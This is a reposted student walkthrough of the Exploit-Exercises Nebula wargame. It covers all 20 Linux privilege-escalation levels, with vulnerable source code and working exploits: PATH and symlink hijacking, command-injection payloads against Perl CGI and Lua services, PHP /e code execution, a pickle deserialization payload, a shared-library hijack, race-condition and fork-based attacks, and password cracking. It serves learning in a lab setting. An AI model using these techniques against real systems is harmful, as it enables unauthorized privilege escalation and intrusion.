碼上快樂

相關內容    簡體    繁體

免考final linux提權與滲透入門——Exploit-Exercise Nebula學習與實踐

本文轉載自   查看原文   2018-06-01 11:20   1279    網絡對抗實驗報告

免考final linux提權與滲透入門——Exploit-Exercise Nebula學習與實踐

0x0 前言

Exploit-Exercise是一系列學習linux下滲透的虛擬環境，官網是https://exploit-exercises.com/，通過它可以學習提權，漏洞利用，逆向等知識

我們這里嘗試的是Nebula，是一個涵蓋初級、中級挑戰任務的練習環境，一個有20個關卡。涉及到的知識點有：

  • SUID文件（SUID files）
  • 權限（Permission）
  • 競態條件（Race conditions）
  • Shell編程（Shell）
  • $PATH缺陷（$PATH weaknesses）
  • 腳本語言缺陷（Scripting language weakness）
  • 二進制編譯漏洞（Binary compilation failures）

網上有詳細的Nebula通關教程，我希望通過這次實驗，提升自己linux下滲透的本領，掌握一些linux本地和遠程攻擊的基本知識。

0x1 通關流程

我參照網上給出的教程，來嘗試完成Nebula的20個關卡。有興趣的同學可以找我拷貝Nebula的鏡像。i春秋上也有Nebula的在線環境練習。

每一個關卡level對應一個賬號：levelXX/levelXX（用戶名和口令是一樣的）比如第5關的賬號就是 level05/level05。登錄之后，進入/home/flagXX的目錄下，與該關卡有關的東西都在這里。

官網中的Nebula頁面中有每道題的程序源碼。

每一關提權成功之后，需要執行/bin/getflag/，如果提權是成功的，會提示“You have successfully executed getflag on a target account”，否則提示“getflag is executing on a non-flag accont, this doesn't count”

level00——找特權程序

本關卡需要找到一個以“flag00”賬號運行的可執行程序。關鍵是對find命令和uid知識的掌握。

我們先看看flag00的UID是什么，輸入cat /etc/passwd | grep flag00

00-1

flag00的UID和GID都是999。

接着通過find命令從根目錄開始查找，輸入find / -uid 999 2> /dev/null

（我們把標准錯誤輸出扔到/dev/null黑洞里去）

00-2

無論是/bin/.../flag00，還是/rofs/bin/.../flag00都符合要求，任意執行一個即可。接着運行/bin/getflag成功通關。

00-3

level01——環境變量

本題開始，需要我們對源碼進行分析了，官網提供的源代碼如下：

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/usr/bin/env echo and now what?");
}

這就是我們flag01程序的源代碼。這里的system調用，執行了env程序。

env用來顯示環境變量，以及在定義的環境中執行程序。env需要根據環境變量PATH來查找程序的路徑。

即便是system中的參數是“硬編碼”的，我們也有辦法執行任意文件。

01-1

我們看到flag01程序的權限就是flag01，我們的目標就是通過它來執行/bin/getflag

01-2

這一系列手段非常有參考意義。/tmp目錄對所有用戶都有完整的權限。

我們首先在/tmp下建立一個指向/bin/getflag的軟鏈接echo，然后將/tmp目錄放到環境變量PATH的最前面。

這樣，env程序在查找echo的時候會首先找到/tmp下的“偽裝”echo並執行。

通過這樣的手法，可以執行其他的可執行程序。

level02——執行任意文件

老樣子，從代碼中發現漏洞，本關卡的程序源碼如下：

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  char *buffer;

  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;

  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);
  
  system(buffer);
}

asprintf是GNU擴展的C函數，它將格式化字符串放到buffer中。getenv函數獲取環境變量USER的值。

由於環境變量USER是可以自己設置的，我們把USER設置為;/bin/getflag

這樣，執行了echo命令后，就會執行/bing/getflag，達到level02的要求。

02-1

level03——計划任務

這個關卡有一個計划任務，每隔2分鍾執行/home/flag03目錄下的writable.sh。

我們可以看到writeable.sh的內容。

03-1

這個腳本會自動執行writable.d里面的所有文件，接着有刪除這個腳本。

而計划任務crontab是flag03用戶創建的，我們可以在writable.d中創建腳本來完成操作。

03-2

我們在writable.d的目錄下創建一個run腳本。

/bin/getflag > /tmp/20155110wangyifan

這個腳本執行/bin/getflag，並把結果重定向到/tmp/20155110wangyifan文件中。

等待兩分鍾，我們在/tmp目錄下發現20155110wangyifan這個文件。

03-3

也就是說crontable自動執行了/bin/getflag程序

level04——越權獲得token

這個關卡需要我們獲取token文本文件的內容。目前我們的權限是讀取不了的。

04-1

除了root權限外，只要flag04用戶可以對它進行讀寫操作。這里有一個flag04程序，我們需要利用這個程序的漏洞，來獲得token。

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
  char buf[1024];
  int fd, rc;

  if(argc == 1) {
      printf("%s [file to read]\n", argv[0]);
      exit(EXIT_FAILURE);
  }

  if(strstr(argv[1], "token") != NULL) {
      printf("You may not access '%s'\n", argv[1]);
      exit(EXIT_FAILURE);
  }

  fd = open(argv[1], O_RDONLY);
  if(fd == -1) {
      err(EXIT_FAILURE, "Unable to open %s", argv[1]);
  }

  rc = read(fd, buf, sizeof(buf));
  
  if(rc == -1) {
      err(EXIT_FAILURE, "Unable to read fd %d", fd);
  }

  write(1, buf, rc);
}

注意這段代碼：

  if(strstr(argv[1], "token") != NULL) {
      printf("You may not access '%s'\n", argv[1]);
      exit(EXIT_FAILURE);
  }

  fd = open(argv[1], O_RDONLY);

flag04會把命令行參數作為文件名並打開，但是文件名不能包含“token”字符串，否則會退出程序。

還是祭出我們的軟鏈接大法，迷惑flag04程序。

04-2

這就是flag04賬號的密碼，登錄flag04賬號執行getflag，完成這一關的任務

level05——ssh密鑰竊取

在這一關，我們需要找到一個弱權限的目錄，然后通過它來提權。

我們需要關注的是.backup和.ssh這兩個目錄。

05-1

.ssh目錄我們進不去。只能先在.backup目錄里面探索一下。

05-2

我們把backup-19072011.tgz解壓到/tmp目錄下（因為權限不過無法在當前目錄解壓）

05-3

原來是ssh的公鑰和私鑰！直接把它copy到/home/level05然后ssh登錄flag05的賬號就能完成此關卡了！

05-4

ssh登錄后執行getflag，完成這關。

05-5

level06——linux登錄密碼

在本關卡中，flag06賬號的認字憑證是存儲在/etc/passwd中的（當然現在的linux都把密碼放在/etc/shadow中，比/etc/passwd安全一些）

我們先讀取flag06的密碼散列值

06-1

然后我們就要祭出Kali，用john這個口令破解工具弄出flag06賬號的密碼

06-2

so easy！密碼就是hello，直接登錄flag06的賬號，可以通過此關。

06-3

level07——Perl腳本漏洞

在這關中，我們的攻擊對象是一個perl編寫的cgi程序。

訓練環境的IP配置為192.168.56.102

#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
  $host = $_[0];

  print("<html><head><title>Ping results</title></head><body><pre>");

  @output = `ping -c 3 $host 2>&1`;
  foreach $line (@output) { print "$line"; }

  print("</pre></body></html>");
  
}

# check if Host set. if not, display normal page, etc

ping(param("Host"));

配置文件thttpd.conf顯示開放的端口號是7007。

07-1

這段perl腳本的功能是調用外部的ping命令去ping指定的IP。接收的參數名為"Host"

 @output = `ping -c 3 $host 2>&1`;

這段代碼調用了外部命令，我們可以來一次 典型的命令注入

首先確認cgi程序的權限，在瀏覽器中輸入

192.168.56.102:7007/index.cgi?Host=127.0.0.1%3Bwhoami

07-2

我們看到CGI程序就是以flag07的用戶權限運行的。

我們直接運行目標程序getflag即可

192.168.56.102:7007/index.cgi?Host=127.0.0.1%3B/bin/getflag

07-3

我們通過 命令注入成功通關。

level08——TCP數據包分析

這個關卡中我們需要分析一個capture.pcap的數據包。

我們把訓練環境的文件弄到本地來。然后用wireshark分析一下。

08-1

我們使用wireshark的“分析——追蹤TCP流功能”

08-2

這是一個交互式登錄的抓包。我們使用 Hex dump方式看password字段。

08-4

我們對照ascii表，7F是del刪除，也就是說用戶輸入backdoor后，又刪除了三個字符，接着輸入00Rm8，又刪除了一個字符，最后輸入ate並敲下回車。

所以，最后的password就是backd00Rmate

08-3

我們用這個password登陸flag08賬號，順利通關。

level09——攻擊php代碼

我們在這一關卡需要攻擊一個有漏洞的php代碼。

<?php

function spam($email)
{
  $email = preg_replace("/\./", " dot ", $email);
  $email = preg_replace("/@/", " AT ", $email);
  
  return $email;
}

function markup($filename, $use_me)
{
  $contents = file_get_contents($filename);

  $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
  $contents = preg_replace("/\[/", "<", $contents);
  $contents = preg_replace("/\]/", ">", $contents);

  return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>

這段代碼中的正則表達式會將[email xxx@xxx.xxx]中的“.”替換成“dot”，將“@”替換成“AT”，也就是變成xxx AT xxx dot xxx

我們注意到這一句代碼：


$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);

preg_replace第一參數使用了/e模式，preg_replace的第二個參數會作為代碼執行。

我們將用php中的system函數執行外部的shell命令

將下面的內容寫到文件/tmp/wyf中去

[email "{${system(getflag)}}"]

09-1

接着執行flag09程序以后，getflag程序也被調用，我們成功通關

level10——競態條件漏洞

在本關卡的/home/flag10目錄下有兩個文件：flag10和token。

官網提示，這里是一個文件訪問的競態條件漏洞，去獲取token的內容。

我們先看看完整的源代碼：


#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
  char *file;
  char *host;

  if(argc < 3) {
      printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
      exit(1);
  }

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];

      printf("Connecting to %s:18211 .. ", host); fflush(stdout);

      fd = socket(AF_INET, SOCK_STREAM, 0);

      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = inet_addr(host);
      sin.sin_port = htons(18211);

      if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %s\n", host);
          exit(EXIT_FAILURE);
      }

#define HITHERE ".oO Oo.\n"
      if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
          printf("Unable to write banner to host %s\n", host);
          exit(EXIT_FAILURE);
      }
#undef HITHERE

      printf("Connected!\nSending file .. "); fflush(stdout);

      ffd = open(file, O_RDONLY);
      if(ffd == -1) {
          printf("Damn. Unable to open file\n");
          exit(EXIT_FAILURE);
      }

      rc = read(ffd, buffer, sizeof(buffer));
      if(rc == -1) {
          printf("Unable to read from file: %s\n", strerror(errno));
          exit(EXIT_FAILURE);
      }

      write(fd, buffer, rc);

      printf("wrote file!\n");

  } else {
      printf("You don't have access to %s\n", file);
  }
}

注意access函數，當前用戶訪問某個文件時，返回值為0，才會有后面這一大段代碼。

	if(access(argv[1], R_OK) == 0) {

		....	

	} else {
    	printf("You don't have access to %s\n", file);
	}

如果沒有訪問權限，就會輸出"You don't have access to <文件名>"

這段代碼會建立一個socket通訊，並在18211端口上進行監聽，然后打開指定的文件並把內容發送到通訊連接中。

我們的思路是這樣的：

  1. 在本地用netcat監聽端口
  2. 讓flag10去access一個當前用戶有權限訪問的文件/tmp/fake_token
  3. 刪掉剛才的/tmp/fake_token，再建立一個指向/home/flag10/token的軟鏈接

我們先完成第一步，netcat監聽

10-1

然后再另一個終端tty2下建立文件/tmp/fake_token

10-1-0

我們再寫一個不斷建立軟鏈接的bash腳本

10-2

執行這個腳本，編寫下面的腳本。

10-3

接着運行腳本，我們在看看nc收到的結果：

10-4

這就是flag10的登錄密碼，登錄flag10賬號后，執行getflag即可。

level11——任意文件可執行漏洞

在這一關卡，我們需要攻擊一個flag11的可執行程序。它的源代碼如下：

官網說此關卡有兩種方法可以通過

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */

int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();
  
  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;

  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));
  
  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      }    

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);
  }

}

這段代碼比較長，我們直接定位有問題的代碼段


void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

這里的buffer作為system的參數，是可控制的，但是這里的buffer的內容有點復雜，它在之前經過了“異或”加密。

非常簡單，我們對要執行的命令在進行一次異或，就可以還原了。

我們的攻擊代碼如下：

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
	int length = 1024;
	// 要執行的命令
	char *cmd = "getflag";
	char buf[1024];
	int key = length & 0xff;
	int i = 0;
	// 把“ getflag” 字符串拷貝到 buf 里，其余空間空字節填充
	strncpy(buf,cmd,1024);
	for(; i<length; i++)
	{	
		buf[i] ^= key;
		// 一定要 buf[i]^key 才可得到正確的 key ，上面那句代碼才可正確執行
		key = key - (buf[i] ^ key);
	}
	// 輸出至標准輸出
	puts("Content-Length: 1024");
	fwrite(buf,1,length,stdout);
	return 0;
}

注意代碼里面還設置了環境變量TEMP

tmp = getenv("TEMP");

接着在系統中輸入如下命令

$ export TEMP=/tmp
$ gcc -o /tmp/attack /tmp/attack.c
$ cd /home/flag11
$ /tmp/attack | ./flag11 
blue = 1024, length = 1024, pink = 1024
You have successfully executed getflag on a target account

我們成功通關此關卡。

level12——攻擊Lua腳本

本關卡給出了一個lua寫的socket程序，雖然我不會lua語言，但是通過猜測還是能看懂個大概的。

題目描述是一個監聽在50001端口的backdoor。

local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))

function hash(password)
  prog = io.popen("echo "..password.." | sha1sum", "r")
  data = prog:read("*all")
  prog:close()

  data = string.sub(data, 1, 40)

  return data
end


while 1 do
  local client = server:accept()
  client:send("Password: ")
  client:settimeout(60)
  local line, err = client:receive()
  if not err then
      print("trying " .. line) -- log from where ;\
      local h = hash(line)

      if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
          client:send("Better luck next time\n");
      else
          client:send("Congrats, your token is 413**CARRIER LOST**\n")
      end

  end

  client:close()
end

注意到這條語句


prog = io.popen("echo "..password.."| sha1sum", "r")

這個地方存在明顯的 命令注入

先telnet 127.0.0.1 50001，構造payload

;/bin/getflag > /tmp/wyf5110

12-1

我們成功執行了getflag程序，通過本關。

level13——簡單的調試

我們在這一關需要破解下面的程序。

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>

#define FAKEUID 1000

int main(int argc, char **argv, char **envp)
{
  int c;
  char token[256];

  if(getuid() != FAKEUID) {
      printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
      printf("The system administrators will be notified of this violation\n");
      exit(EXIT_FAILURE);
  }

  // snip, sorry :)

  printf("your token is %s\n", token);
  
}

也就是說如果UID不是1000的話，我們得不到token的值。

現在，我們直接使用gdb調試這個程序（當然你也可以直接用IDA靜態反匯編）

13-1

找到getuid函數的位置以后，在下一條指令的地方設置斷點。然后運行。

函數的返回值在%eax寄存器中，我們發現這個uid的值是1014。

13-2

我們直接設置%eax寄存器的值為1000即可。

13-3

我們看到了token的值為b705702b-76a8-42b0-8844-3adabbe5ac58

用它登錄flag13賬號，執行getflag程序通過此關。

13-4

level14——破解加密程序

在這關，token文件是被flag14程序加密過的，我們需要解密token。

我們看看這個程序是怎么加密的。

14-1

顯然，這個加密算法非常簡單，第0位的字符加0，第1位的字符加1，...，第i位的字符加i，以此類推。

我們直接編寫解密程序即可。

//dec.c

#include <stdio.h>
#include <string.h>
int main()
{
	char buf[1000];
	scanf("%s", buf);
	
	int i;
	for (i = 0; i < strlen(buf); i++) {
		buf[i] -= i;
	}
	
	puts(buf);	
	return 0;
}

14-2

我們成功得到flag，然后用它登錄flag14賬號執行getflag即可。

14-3

level15——linx下共享庫劫持

官網直接給出提示，用strace工具追蹤so使用情況。

15-1

提示沒有找到libc.so.6，既然沒有，我們就自己寫一個讓它找到。

建立目錄/var/tmp/flag15，並編寫如下的代碼

#include <stdio.h>

void __attribute__((constructor)) init()
{
	system("/bin/getflag");
}

15-2

提示symbol __cxa_finalize，我再定義一個__cxa_finalize函數。

	
#include <stdio.h>

void __cxa_finalize(void)
{
	return;
}

void __attribute__((constructor)) init()
{
	system();
}

我們還要用匯編語言自己實現一個system函數。

.section .text
.globl system
system:

mov $getflag, %ebx
xor %edx, %edx # 異或清空 edx ，作為空參數
push %edx
push %ebx
mov %esp, %ecx
mov $11, %eax # 調用 execve 中斷
int $0x80

.section .data
getflag: .ascii "/bin/getflag\0"

最后，我們成功劫持了共享庫的調用。

15-3

這一關的技術含量非常高，我們目前還沒有完全理解。

level16——再次攻擊perl語言CGI程序

在這一關中，我們繼續攻擊一個perl語言的CGI程序

#!/usr/bin/env perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub login {
  $username = $_[0];
  $password = $_[1];

  $username =~ tr/a-z/A-Z/; # conver to uppercase
  $username =~ s/\s.*//;        # strip everything after a space

  @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
  foreach $line (@output) {
      ($usr, $pw) = split(/:/, $line);
  

      if($pw =~ $password) {
          return 1;
      }
  }

  return 0;
}

sub htmlz {
  print("<html><head><title>Login resuls</title></head><body>");
  if($_[0] == 1) {
      print("Your login was accepted<br/>");
  } else {
      print("Your login failed<br/>");
  }    
  print("Would you like a cookie?<br/><br/></body></html>\n");
}

htmlz(login(param("username"), param("password")));

這段代碼的問題就在於它有調用了外部shell命令。

  @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;

但是，這里對用戶名做了限制，不僅將其轉換為大寫，而且去掉第一個空格之后的所有內容。

我們先建立這樣一個腳本/tmp/wyf

16-1

構造payload為

"</DEV/NULL;CMD=/TMP/WYF;${CMD,,};#

為了方便，我們直接寫一個表單提交數據。

16-2

我們這是可以看到，getflag程序已經執行了。

16-3

這又是一個繞過正則表達式的 命令注入

level17——python的pickle格式漏洞

我們要分析一個在10007端口監聽的python腳本。

#!/usr/bin/python

import os
import pickle
import time
import socket
import signal

signal.signal(signal.SIGCHLD, signal.SIG_IGN)

def server(skt):
  line = skt.recv(1024)

  obj = pickle.loads(line)

  for i in obj:
      clnt.send("why did you send me " + i + "?\n")

skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)

while True:
  clnt, addr = skt.accept()

  if(os.fork() == 0):
      clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
      server(clnt)
      exit(1)

由於我對python不熟悉，這一關的原理也沒弄明白。

這應該是一個反序列化的漏洞，先按照教程完成這一關卡吧。

構造下面的payload

cos
system
(S'getflag>/tmp/result'
tR.

17-1

level18——資源未釋放漏洞

這關非常特殊，有三種解決方法，最簡單的是耗盡系統資源。

當然也有格式化字符串漏洞，棧溢出漏洞。

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>

struct {
  FILE *debugfile;
  int verbose;
  int loggedin;
} globals;

#define dprintf(...) if(globals.debugfile) \
  fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
  fprintf(globals.debugfile, __VA_ARGS__)

#define PWFILE "/home/flag18/password"

void login(char *pw)
{
  FILE *fp;

  fp = fopen(PWFILE, "r");
  if(fp) {
      char file[64];

      if(fgets(file, sizeof(file) - 1, fp) == NULL) {
          dprintf("Unable to read password file %s\n", PWFILE);
          return;
      }
                fclose(fp);
      if(strcmp(pw, file) != 0) return;       
  }
  dprintf("logged in successfully (with%s password file)\n",
      fp == NULL ? "out" : "");
  
  globals.loggedin = 1;

}

void notsupported(char *what)
{
  char *buffer = NULL;
  asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
  dprintf(what);
  free(buffer);
}

void setuser(char *user)
{
  char msg[128];

  sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
  printf("%s\n", msg);

}

int main(int argc, char **argv, char **envp)
{
  char c;

  while((c = getopt(argc, argv, "d:v")) != -1) {
      switch(c) {
          case 'd':
              globals.debugfile = fopen(optarg, "w+");
              if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
              setvbuf(globals.debugfile, NULL, _IONBF, 0);
              break;
          case 'v':
              globals.verbose++;
              break;
      }
  }

  dprintf("Starting up. Verbose level = %d\n", globals.verbose);

  setresgid(getegid(), getegid(), getegid());
  setresuid(geteuid(), geteuid(), geteuid());
  
  while(1) {
      char line[256];
      char *p, *q;

      q = fgets(line, sizeof(line)-1, stdin);
      if(q == NULL) break;
      p = strchr(line, '\n'); if(p) *p = 0;
      p = strchr(line, '\r'); if(p) *p = 0;

      dvprintf(2, "got [%s] as input\n", line);

      if(strncmp(line, "login", 5) == 0) {
          dvprintf(3, "attempting to login\n");
          login(line + 6);
      } else if(strncmp(line, "logout", 6) == 0) {
          globals.loggedin = 0;
      } else if(strncmp(line, "shell", 5) == 0) {
          dvprintf(3, "attempting to start shell\n");
          if(globals.loggedin) {
              execve("/bin/sh", argv, envp);
              err(1, "unable to execve");
          }
          dprintf("Permission denied\n");
      } else if(strncmp(line, "logout", 4) == 0) {
          globals.loggedin = 0;
      } else if(strncmp(line, "closelog", 8) == 0) {
          if(globals.debugfile) fclose(globals.debugfile);
          globals.debugfile = NULL;
      } else if(strncmp(line, "site exec", 9) == 0) {
          notsupported(line + 10);
      } else if(strncmp(line, "setuser", 7) == 0) {
          setuser(line + 8);
      }
  }

  return 0;
}

linux默認只能打開1024個文件描述符，但是stdin，stdout，stderr已經各占用了一個。最終供程序使用的只有1021個。

我們需要做的就是耗盡程序的資源，先輸入

for i in {0..1020}; do echo 'login wyf5110' >> /tmp/login; done;

將1021個login wyf5110放到/tmp/login中。

再執行

cat /tmp/login | /home/flag18/flag18 -d /tmp/debug

查看/tmp/debug的內容

18-1

根據輸出內容，我們知道登錄成功了。應該可以執行shell命令。

我們追加一個shell，然后再執行flag18程序。

18-2

看到這個結果，是因為文件描述符用盡了。

我們看源碼中的這一部分

      } else if(strncmp(line, "closelog", 8) == 0) {
          if(globals.debugfile) fclose(globals.debugfile);
          globals.debugfile = NULL;
      }

也就是說添加closelog可以釋放一個文件描述符。我們再次修改/tmp/login

18-3

然后執行

cat login | /home/flag18/flag18 --init-file -d debug

但是出現了下面的問題。

18-4

我們可以這么操作

18-5

既然找不到Starting命令，我們就攻擊環境變量，將Starting指向惡意腳本

再次運行程序，查看/tmp/output文件，我們可以知道/bin/getflag已經被執行了

18-6

level19——突破進程

終於來到最后一關了，這一關要求我們攻破下面的程序。

程序的源代碼如下:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>

int main(int argc, char **argv, char **envp)
{
  pid_t pid;
  char buf[256];
  struct stat statbuf;

  /* Get the parent's /proc entry, so we can verify its user id */

  snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());

  /* stat() it */

  if(stat(buf, &statbuf) == -1) {
      printf("Unable to check parent process\n");
      exit(EXIT_FAILURE);
  }

  /* check the owner id */

  if(statbuf.st_uid == 0) {
      /* If root started us, it is ok to start the shell */

      execve("/bin/sh", argv, envp);
      err(1, "Unable to execve");
  }

  printf("You are unauthorized to run this program\n");
}

這段程序的邏輯是這樣的：

  • 先通過getppid()函數得到父進程pid號
  • 根據pid號找到/proc下當前pid號的目錄
  • 如果屬於root，就執行shell

我們需要利用“孤兒進程”的特點來突破這段程序

孤兒進程的父進程init的uid絕對是0

編寫攻擊代碼如下

//attack.c

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main(void)
{
	pid_t pid;
	pid = fork();
	char *argvs[] = {"/bin/sh","-c","getflag>/tmp/flag19_output",NULL}; 
	if(pid == 0) 
	{
		execve("/home/flag19/flag19",argvs,NULL);
	} else if(pid > 0) {
		exit(0);
	}
	return 0;
}

這段攻擊代碼，利用fork出來的子進程執行getflag程序，並將結果重定向到/tmp/flag19_output文件中。

19-1

至此，我們成功通關nebula的全部20個關卡！

心得與體會

實話實說，exploit-exercise nebula的這20個練習讓我感受到了自己 離技術的門檻還很遙遠

其中的一系列linux提權和任意文件執行的技巧令我印象深刻——軟鏈接大法，python反序列化漏洞，CGI程序的命令注入，共享庫劫持，gdb調試……

很多練習以我的能力是不可能做出來的，在參考了網上的教程以后，我能夠 大體感受到其中的 美妙之處

之前的實驗，我們只是淺嘗輒止地使用一些工具而已，我們對工具的應用也是浮於表面的，盡管能熟練使用工具並玩到極致的話，也可以弄出花樣來。

這次的final讓我徹底明白，只有對計算機足夠精通，才能真正主宰一切，而這條道路對我們來說非常漫長。

不過，能夠在本學期的課程中對計算機安全技術初窺門徑，我已經很滿足了。


免責聲明！

本站轉載的文章為個人學習借鑒使用，本站對版權不負任何法律責任。如果侵犯了您的隱私權益，請聯系本站郵箱yoyou2525@163.com刪除。



猜您在找 Linux提權之：利用capabilities提權 Linux提權思路 Suid之find提權靶機滲透實戰 Linux提權方法小結 Mysql提權-基於Mysql的UDF提權（Linux系統） EXP查詢合集提權后滲透必備 域滲透之MS14-068域提權漏洞 記一次Windows滲透提權歷程 記一次初步Linux提權 Linux用戶提權管理方案
 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM